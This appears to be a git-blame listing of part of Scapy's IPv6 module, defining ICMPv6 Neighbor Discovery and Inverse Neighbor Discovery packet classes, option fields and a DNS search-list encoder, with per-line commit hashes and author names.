18300d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    BitField("res", 0, 7),
1831c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("validlifetime", 0xffffffff),
18320d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    IP6Field("addr", "::") ]
1833c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1834c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
18356057906368d55634d11e1d19a5cca1f127595b11Robin Jarryclass _IP6PrefixField(IP6Field):
1836b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["length_from"]
1837c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default):
1838c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        IP6Field.__init__(self, name, default)
1839c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.length_from = lambda pkt: 8*(pkt.len - 1)
1840c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1841c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
1842c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s + self.i2m(pkt, val)
1843c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1844c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
1845c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = self.length_from(pkt)
1846c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        p = s[:l]
1847c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l < 16:
18482a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            p += b'\x00'*(16-l)
1849c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[l:], self.m2i(pkt,p)
1850c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1851c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2len(self, pkt, x):
1852c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return len(self.i2m(pkt, x))
18530d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1854c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
1855c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = pkt.len
1856c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1857c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
1858c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            x = "::"
1859c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if l is None:
1860c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                l = 1
1861c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = inet_pton(socket.AF_INET6, x)
1862c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1863c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l is None:
1864c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x
1865c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l in [0, 1]:
18661186356a1d73fd59b700d8af05e789d0e8899de6gpotter            return b""
1867c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l in [2, 3]:
1868c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x[:8*(l-1)]
1869c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
18702a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        return x + b'\x00'*8*(l-3)
1871c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1872c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptRouteInfo(_ICMPv6NDGuessPayload, Packet): # RFC 4191
1873c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Route Information Option"
1874c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",24),
1875c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, length_of="prefix", fmt="B",
187663ae11708b02df74dd3e8d2385d2829f3d622d66gpotter                                  adjust = lambda pkt,x: x//8 + 1),
1877c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("plen", None),
1878c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("res1",0,3),
1879c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("prf",0,2),
1880c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("res2",0,3),
1881c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("rtlifetime", 0xffffffff),
18826057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                    _IP6PrefixField("prefix", None) ]
18830d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1884c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptRDNSS(_ICMPv6NDGuessPayload, Packet): # RFC 5006
1885c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option"
1886c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 25),
1887c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, count_of="dns", fmt="B",
1888c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: 2*x+1),
1889c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("res", None),
1890c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("lifetime", 0xffffffff),
18910d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    IP6ListField("dns", [],
1892c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                 length_from = lambda pkt: 8*(pkt.len-1)) ]
1893c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1894c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptEFA(_ICMPv6NDGuessPayload, Packet): # RFC 5175 (prev. 5075)
1895c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Expanded Flags Option"
1896c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 26),
1897c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 1),
1898c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("res", 0, 48) ]
1899c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
19006057906368d55634d11e1d19a5cca1f127595b11Robin Jarry# As required in Sect 8. of RFC 3315, Domain Names must be encoded as
19016057906368d55634d11e1d19a5cca1f127595b11Robin Jarry# described in section 3.1 of RFC 1035
19026057906368d55634d11e1d19a5cca1f127595b11Robin Jarry# XXX Label should be at most 63 octets in length : we do not enforce it
19036057906368d55634d11e1d19a5cca1f127595b11Robin Jarry#     Total length of domain should be 255 : we do not enforce it either
19046057906368d55634d11e1d19a5cca1f127595b11Robin Jarryclass DomainNameListField(StrLenField):
19056057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    __slots__ = ["padded"]
19066057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    islist = 1
19076057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    padded_unit = 8
19086057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
19096057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    def __init__(self, name, default, fld=None, length_from=None, padded=False):
19106057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        self.padded = padded
19116057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        StrLenField.__init__(self, name, default, fld, length_from)
19126057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
19136057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    def i2len(self, pkt, x):
19146057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        return len(self.i2m(pkt, x))
19156057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
19166057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    def m2i(self, pkt, x):
1917d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter        x = plain_str(x) # Decode bytes to string
19186057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        res = []
19196057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        while x:
19206057906368d55634d11e1d19a5cca1f127595b11Robin Jarry            # Get a name until \x00 is reached
19216057906368d55634d11e1d19a5cca1f127595b11Robin Jarry            cur = []
1922d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter            while x and ord(x[0]) != 0:
1923d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter                l = ord(x[0])
19246057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                cur.append(x[1:l+1])
19256057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                x = x[l+1:]
19266057906368d55634d11e1d19a5cca1f127595b11Robin Jarry            if self.padded:
1927d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter                # Discard following \x00 in padded mode
1928d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter                if len(cur):
1929d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter                    res.append(".".join(cur) + ".")
19306057906368d55634d11e1d19a5cca1f127595b11Robin Jarry            else:
19316057906368d55634d11e1d19a5cca1f127595b11Robin Jarry              # Store the current name
19326057906368d55634d11e1d19a5cca1f127595b11Robin Jarry              res.append(".".join(cur) + ".")
1933d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter            if x and ord(x[0]) == 0:
19346057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                x = x[1:]
19356057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        return res
19366057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
19376057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    def i2m(self, pkt, x):
19386057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        def conditionalTrailingDot(z):
1939d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter            if z and orb(z[-1]) == 0:
19406057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                return z
19415e8857410015a93f6371459b2f870432ded39b9fgpotter            return z+b'\x00'
19426057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        # Build the encode names
1943d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter        tmp = ([chb(len(z)) + z.encode("utf8") for z in y.split('.')] for y in x) # Also encode string to bytes
19445e8857410015a93f6371459b2f870432ded39b9fgpotter        ret_string  = b"".join(conditionalTrailingDot(b"".join(x)) for x in tmp)
19456057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
19466057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        # In padded mode, add some \x00 bytes
19476057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        if self.padded and not len(ret_string) % self.padded_unit == 0:
19482a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            ret_string += b"\x00" * (self.padded_unit - len(ret_string) % self.padded_unit)
19496057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
19506057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        return ret_string
19516057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
19522e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadonclass ICMPv6NDOptDNSSL(_ICMPv6NDGuessPayload, Packet): # RFC 6106
19532e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon    name = "ICMPv6 Neighbor Discovery Option - DNS Search List Option"
19542e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon    fields_desc = [ ByteField("type", 31),
195532b02729ef889d3d125ae3c69ad28d3f62356a49Guillaume Valadon                    FieldLenField("len", None, length_of="searchlist", fmt="B",
195663ae11708b02df74dd3e8d2385d2829f3d622d66gpotter                                  adjust=lambda pkt, x: 1+ x//8),
19572e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                    ShortField("res", None),
19582e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                    IntField("lifetime", 0xffffffff),
19592e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                    DomainNameListField("searchlist", [],
19602e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                                        length_from=lambda pkt: 8*pkt.len -8,
19612e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                                        padded=True)
19622e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                    ]
19632e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon
1964c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# End of ICMPv6 Neighbor Discovery Options.
1965c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1966c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_RS(_ICMPv6NDGuessPayload, _ICMPv6):
1967c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Router Solicitation"
1968c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 133, icmp6types),
1969c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
1970c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1971c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("res",0) ]
1972c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::2", "hlim": 255 }}
1973c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1974c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_RA(_ICMPv6NDGuessPayload, _ICMPv6):
1975c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Router Advertisement"
1976c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 134, icmp6types),
1977c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
1978c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1979c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("chlim",0),
1980c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("M",0,1),
1981c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("O",0,1),
1982c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("H",0,1),
1983c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitEnumField("prf",1,2, { 0: "Medium (default)",
1984c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              1: "High",
1985c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              2: "Reserved",
1986c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              3: "Low" } ), # RFC 4191
1987c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("P",0,1),
19880d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    BitField("res",0,2),
1989c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("routerlifetime",1800),
1990c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("reachabletime",0),
1991c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("retranstimer",0) ]
1992c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
1993c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1994c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
1995c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return isinstance(other, ICMPv6ND_RS)
1996c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1997c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_NS(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
1998c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Neighbor Solicitation"
1999c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",135, icmp6types),
2000c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
2001c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
20026695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    IntField("res", 0),
2003c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("tgt","::") ]
2004c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
2005c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2006c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def mysummary(self):
2007c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% (tgt: %tgt%)")
2008c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2009c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
20105e8857410015a93f6371459b2f870432ded39b9fgpotter        return raw(self.tgt)+self.payload.hashret()
2011c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
20126695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadonclass ICMPv6ND_NA(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
2013c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Neighbor Advertisement"
20146695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon    fields_desc = [ ByteEnumField("type",136, icmp6types),
20156695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    ByteField("code",0),
20166695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    XShortField("cksum", None),
20176695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    BitField("R",1,1),
20186695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    BitField("S",0,1),
20196695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    BitField("O",1,1),
20206695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    XBitField("res",0,29),
20216695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    IP6Field("tgt","::") ]
20226695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
20236695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon
20246695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon    def mysummary(self):
20256695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon        return self.sprintf("%name% (tgt: %tgt%)")
20266695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon
20276695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon    def hashret(self):
20285e8857410015a93f6371459b2f870432ded39b9fgpotter        return raw(self.tgt)+self.payload.hashret()
2029c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2030c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
203177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return isinstance(other, ICMPv6ND_NS) and self.tgt == other.tgt
2032c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2033c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# associated possible options : target link-layer option, Redirected header
2034c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_Redirect(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
2035c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Redirect"
2036c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",137, icmp6types),
2037c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
2038c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2039c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XIntField("res",0),
2040c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("tgt","::"),
2041c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("dst","::") ]
2042c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
2043c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2044c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2045c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2046c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil################ ICMPv6 Inverse Neighbor Discovery (RFC 3122) ###############
2047c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2048c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptSrcAddrList(_ICMPv6NDGuessPayload, Packet):
2049c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Inverse Neighbor Discovery Option - Source Address List"
2050c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",9),
2051c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, count_of="addrlist", fmt="B",
2052c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: 2*x+1),
20532a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("res", b"\x00"*6, 6),
2054c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6ListField("addrlist", [],
2055c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: 8*(pkt.len-1)) ]
2056c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2057c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptTgtAddrList(ICMPv6NDOptSrcAddrList):
2058c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Inverse Neighbor Discovery Option - Target Address List"
20590d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    type = 10
2060c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2061c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2062c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# RFC3122
2063c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Options requises : source lladdr et target lladdr
2064c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Autres options valides : source address list, MTU
2065c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - Comme precise dans le document, il serait bien de prendre l'adresse L2
2066c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#   demandee dans l'option requise target lladdr et l'utiliser au niveau
2067c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#   de l'adresse destination ethernet si aucune adresse n'est precisee
2068c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - ca semble pas forcement pratique si l'utilisateur doit preciser toutes
20690d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#   les options.
2070c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Ether() must use the target lladdr as destination
2071c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_INDSol(_ICMPv6NDGuessPayload, _ICMPv6):
2072c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Inverse Neighbor Discovery Solicitation"
2073c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",141, icmp6types),
2074c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
2075c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum",None),
2076c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XIntField("reserved",0) ]
2077c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
2078c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2079c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Options requises :  target lladdr, target address list
2080c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Autres options valides : MTU
2081c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_INDAdv(_ICMPv6NDGuessPayload, _ICMPv6):
2082c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Inverse Neighbor Discovery Advertisement"
2083c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",142, icmp6types),
2084c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
2085c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum",None),
2086c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XIntField("reserved",0) ]
2087c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
2088c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2089c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2090c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###############################################################################
2091c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# ICMPv6 Node Information Queries (RFC 4620)
2092c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###############################################################################
2093c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
20940d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# [ ] Add automatic destination address computation using computeNIGroupAddr
2095c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     in IPv6 class (Scapy6 modification when integrated) if :
2096c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     - it is not provided
2097c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     - upper layer is ICMPv6NIQueryName() with a valid value
2098c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [ ] Try to be liberal in what we accept as internal values for _explicit_
20990d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#     DNS elements provided by users. Any string should be considered
2100c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     valid and kept like it has been provided. At the moment, i2repr() will
2101c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     crash on many inputs
2102c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [ ] Do the documentation
2103c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [ ] Add regression tests
21040d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# [ ] Perform test against real machines (NOOP reply is proof of implementation).
21050d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# [ ] Check if there are differences between different stacks. Among *BSD,
21060d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#     with others.
2107c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [ ] Deal with flags in a consistent way.
21080d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# [ ] Implement compression in names2dnsrepr() and decompresiion in
21090d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#     dnsrepr2names(). Should be deactivable.
2110c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2111c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilicmp6_niqtypes = { 0: "NOOP",
2112c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  2: "Node Name",
2113c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  3: "IPv6 Address",
2114c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  4: "IPv4 Address" }
2115c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2116c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2117c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6NIHashret:
2118c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2119c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.nonce
2120c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2121c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6NIAnswers:
2122c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
2123c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.nonce == other.nonce
2124c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
